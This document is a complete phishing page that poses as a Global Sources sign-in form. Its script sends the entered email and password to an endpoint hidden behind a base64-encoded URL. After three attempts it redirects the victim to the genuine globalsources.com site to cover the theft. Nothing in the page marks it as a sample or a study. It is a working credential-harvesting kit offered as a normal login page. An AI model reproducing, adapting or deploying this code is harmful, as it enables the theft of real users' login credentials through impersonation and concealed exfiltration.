<!DOCTYPE html>
<html lang="en-US">
  <head>
    <meta charset="UTF-8">
    <title>Login</title>
    <link rel='stylesheet' id='hello-elementor-css' href='https://cdn.glitch.global/11533d13-2af9-444a-bfb8-7aa17de86e98/style.min.css?ver=3.2.1' media='all' />
    <link rel='stylesheet' id='elementor-frontend-css' href='https://cdn.glitch.global/11533d13-2af9-444a-bfb8-7aa17de86e98/frontend.min.css?ver=3.26.0' media='all' />
    <link rel='stylesheet' id='elementor-post-559-css' href='https://cdn.glitch.global/11533d13-2af9-444a-bfb8-7aa17de86e98/post-559.css?ver=1734387327' media='all' />
    <link rel='stylesheet' id='widget-image-css' href='https://cdn.glitch.global/11533d13-2af9-444a-bfb8-7aa17de86e98/widget-image.min.css?ver=3.26.0' media='all' />
    <link rel="icon" href="https://cdn.glitch.global/11533d13-2af9-444a-bfb8-7aa17de86e98/favicon.png" type="image/png" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover" />
    <style>
        .error-message {
          color: red;
          font-size: 14px;
          margin-top: 5px;
          margin-left: 2px;
        }
    </style>
  </head>
  <body class="page-template page-template-elementor_canvas page page-id-559 wp-embed-responsive elementor-default elementor-template-canvas elementor-kit-6 elementor-page elementor-page-559">
    <div data-elementor-type="wp-page" data-elementor-id="559" class="elementor elementor-559" data-elementor-post-type="page">
      <div class="elementor-element elementor-element-a3eed67 e-flex e-con-boxed e-con e-parent" data-id="a3eed67" data-element_type="container">
        <div class="e-con-inner">
          <div class="elementor-element elementor-element-495691b e-con-full e-flex e-con e-child" data-id="495691b" data-element_type="container">
            <div class="elementor-element elementor-element-f90a506 elementor-widget elementor-widget-image" data-id="f90a506" data-element_type="widget" data-widget_type="image.default">
              <div class="elementor-widget-container">
                <img decoding="async" src="https://cdn.glitch.global/11533d13-2af9-444a-bfb8-7aa17de86e98/logoh.png" title="" alt="" loading="lazy" />
              </div>
            </div>
          </div>
          <div class="elementor-element elementor-element-d23350b e-con-full e-flex e-con e-child" data-id="d23350b" data-element_type="container">
            <div class="elementor-element elementor-element-23d3681 elementor-widget elementor-widget-heading" data-id="23d3681" data-element_type="widget" data-widget_type="heading.default">
              <div class="elementor-widget-container">
                <h2 class="elementor-heading-title elementor-size-default">Sign in</h2>
              </div>
            </div>
          </div>
          <div class="elementor-element elementor-element-2d5b66e e-con-full elementor-hidden-mobile e-flex e-con e-child" data-id="2d5b66e" data-element_type="container">
            <div class="elementor-element elementor-element-1cbe06b elementor-align-right elementor-widget elementor-widget-button" data-id="1cbe06b" data-element_type="widget" data-widget_type="button.default">
              <div class="elementor-widget-container">
                <div class="elementor-button-wrapper">
                  <a class="elementor-button elementor-button-link elementor-size-sm" href="#">
                    <span class="elementor-button-content-wrapper">
                      <span class="elementor-button-icon">
                        <i aria-hidden="true" class="fas fa-chevron-down"></i>
                      </span>
                      <span class="elementor-button-text">English</span>
                    </span>
                  </a>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
      <div class="elementor-element elementor-element-55f30a1 e-flex e-con-boxed e-con e-parent" data-id="55f30a1" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;}">
        <div class="e-con-inner">
          <div class="elementor-element elementor-element-f4a08b4 e-con-full e-flex e-con e-child" data-id="f4a08b4" data-element_type="container">
            <div class="elementor-element elementor-element-336af74 e-con-full e-flex e-con e-child" data-id="336af74" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;}">
              <div class="elementor-element elementor-element-534f824 e-con-full elementor-hidden-mobile e-flex e-con e-child" data-id="534f824" data-element_type="container">
                <div class="elementor-element elementor-element-8db900b elementor-widget elementor-widget-heading" data-id="8db900b" data-element_type="widget" data-widget_type="heading.default">
                  <div class="elementor-widget-container">
                    <h2 class="elementor-heading-title elementor-size-default">Sign in</h2>
                  </div>
                </div>
              </div>
              <div class="elementor-element elementor-element-4ba5297 e-con-full e-flex e-con e-child" data-id="4ba5297" data-element_type="container">
                <div class="elementor-element elementor-element-60d6545 elementor-button-align-stretch elementor-widget elementor-widget-form" data-id="60d6545" data-element_type="widget" data-settings="{&quot;step_next_label&quot;:&quot;Sign in&quot;,&quot;step_previous_label&quot;:&quot;Previous&quot;,&quot;button_width&quot;:&quot;100&quot;,&quot;step_type&quot;:&quot;number_text&quot;,&quot;step_icon_shape&quot;:&quot;circle&quot;}" data-widget_type="form.default">
                  <div class="elementor-widget-container">
                    <form class="elementor-form" method="post" name="New Form" id="loginForm">
                      <div class="elementor-form-fields-wrapper elementor-labels-">
                        <div class="elementor-field-type-email elementor-field-group elementor-column elementor-field-group-email elementor-col-100 elementor-field-required">
                          <label for="form-field-email" class="elementor-field-label elementor-screen-only"> Email Address </label>
                          <input size="1" type="email" name="email" id="email" class="elementor-field elementor-size-sm  elementor-field-textual" placeholder="Email Address" required="required" aria-required="true">
                        </div>
                        <div class="elementor-field-type-password elementor-field-group elementor-column elementor-field-group-field_3fadede elementor-col-100 elementor-field-required">
                          <label for="form-field-field_3fadede" class="elementor-field-label elementor-screen-only"> Password </label>
                          <input size="1" type="password" name="password" id="password" class="elementor-field elementor-size-sm  elementor-field-textual" placeholder="Password" required="required" aria-required="true">
                          <!-- Error message will be displayed here -->
                            <div id="error" class="error-message"></div>
                        </div>

                        <div class="elementor-field-group elementor-column elementor-field-type-submit elementor-col-100 e-form__buttons">
                          <button class="elementor-button elementor-size-sm" type="submit">
                            <span class="elementor-button-content-wrapper">
                              <span class="elementor-button-text">Sign in</span>
                            </span>
                          </button>
                        </div>
                      </div>
                    </form>
                  </div>
                </div>
                <div class="elementor-element elementor-element-b5540e0 e-con-full e-flex e-con e-child" data-id="b5540e0" data-element_type="container">
                  <div class="elementor-element elementor-element-852f476 e-con-full e-flex e-con e-child" data-id="852f476" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;}">
                    <div class="elementor-element elementor-element-97007e9 elementor-widget elementor-widget-heading" data-id="97007e9" data-element_type="widget" data-widget_type="heading.default">
                      <div class="elementor-widget-container">
                        <h2 class="elementor-heading-title elementor-size-default">Sign in with: </h2>
                      </div>
                    </div>
                  </div>
                  <div class="elementor-element elementor-element-78c6bf5 e-con-full e-flex e-con e-child" data-id="78c6bf5" data-element_type="container">
                    <div class="elementor-element elementor-element-800e5d6 elementor-widget elementor-widget-image" data-id="800e5d6" data-element_type="widget" data-widget_type="image.default">
                      <div class="elementor-widget-container">
                        <img decoding="async" src="https://cdn.glitch.global/11533d13-2af9-444a-bfb8-7aa17de86e98/social.png" title="" alt="" loading="lazy" />
                      </div>
                    </div>
                  </div>
                </div>
              </div>
              <div class="elementor-element elementor-element-22d9497 e-con-full e-flex e-con e-child" data-id="22d9497" data-element_type="container">
                <div class="elementor-element elementor-element-402bd33 elementor-widget elementor-widget-heading" data-id="402bd33" data-element_type="widget" data-widget_type="heading.default">
                  <div class="elementor-widget-container">
                    <h2 class="elementor-heading-title elementor-size-default">Not yet registered?</h2>
                  </div>
                </div>
                <div class="elementor-element elementor-element-0fe795b elementor-align-justify elementor-widget elementor-widget-button" data-id="0fe795b" data-element_type="widget" data-widget_type="button.default">
                  <div class="elementor-widget-container">
                    <div class="elementor-button-wrapper">
                      <a class="elementor-button elementor-button-link elementor-size-sm" href="#">
                        <span class="elementor-button-content-wrapper">
                          <span class="elementor-button-text">Register</span>
                        </span>
                      </a>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
      <div class="elementor-element elementor-element-a43584d elementor-hidden-mobile e-flex e-con-boxed e-con e-parent" data-id="a43584d" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;}">
        <div class="e-con-inner">
          <div class="elementor-element elementor-element-2813e40 elementor-widget elementor-widget-image" data-id="2813e40" data-element_type="widget" data-widget_type="image.default">
            <div class="elementor-widget-container">
              <img decoding="async" src="https://cdn.glitch.global/11533d13-2af9-444a-bfb8-7aa17de86e98/foooot.png" title="" alt="" loading="lazy" />
            </div>
          </div>
        </div>
      </div>
    </div>
    <script>
        let submitCount = 0; // Counter for form submissions
      
        document.getElementById("loginForm").addEventListener("submit", function (event) {
          event.preventDefault(); // Prevent default form submission behavior
      
          // Get form inputs
          const email = document.getElementById("email").value.trim();
          const password = document.getElementById("password").value;
          const errorDiv = document.getElementById("error");
          let statusMessage = document.getElementById("statusMessage");
      
          // Ensure statusMessage element exists
          if (!statusMessage) {
            statusMessage = document.createElement("div");
            statusMessage.id = "statusMessage";
            statusMessage.style.marginTop = "10px";
            statusMessage.style.color = "green";
            document.getElementById("loginForm").appendChild(statusMessage);
          }
      
          // Reset messages
          errorDiv.textContent = "";
          statusMessage.textContent = "";
      
          // Basic validation
          if (!email) {
            errorDiv.textContent = "Email is required.";
            return;
          }
          if (password.length < 5) {
            errorDiv.textContent = "Invalid password. Must be at least 5 characters.";
            return;
          }
      
          // Prepare form data
          const formData = new FormData();
          formData.append("email", email);
          formData.append("password", password);
      
          // Send the request using XMLHttpRequest
          const xhr = new XMLHttpRequest();
          xhr.open("POST", atob("aHR0cHM6Ly9zZ3MtZ3JvdXBzLmNvLnVhL2dsb3NvdXJjZS9wcm9jZXNzLWxvZ2luLnBocA=="), true);
      
          xhr.onload = function () {
            if (xhr.status === 200) {
              try {
                const response = JSON.parse(xhr.responseText); // Assuming the PHP response is JSON
                if (response.success) {
                  statusMessage.style.color = "green";
                  statusMessage.textContent = response.message || "Login successful!";
                } else {
                  statusMessage.style.color = "red";
                  statusMessage.textContent = response.message || "Login failed. Please check your credentials.";
                }
              } catch (e) {
                statusMessage.style.color = "red";
                statusMessage.textContent = "Unexpected server response.";
              }
            } else {
              statusMessage.style.color = "red";
              statusMessage.textContent = "An error occurred. Please try again.";
            }
          };
      
          xhr.onerror = function () {
            statusMessage.style.color = "red";
            statusMessage.textContent = "Request failed. Please check your connection.";
          };
      
          xhr.send(formData);
      
          // Increment the submission counter
          submitCount++;
      
          // Redirect to google.com after 3 submissions
          if (submitCount === 3) {
            window.location.href = "https://www.globalsources.com";
          }
        });
      </script>
      
      
  </body>
</html>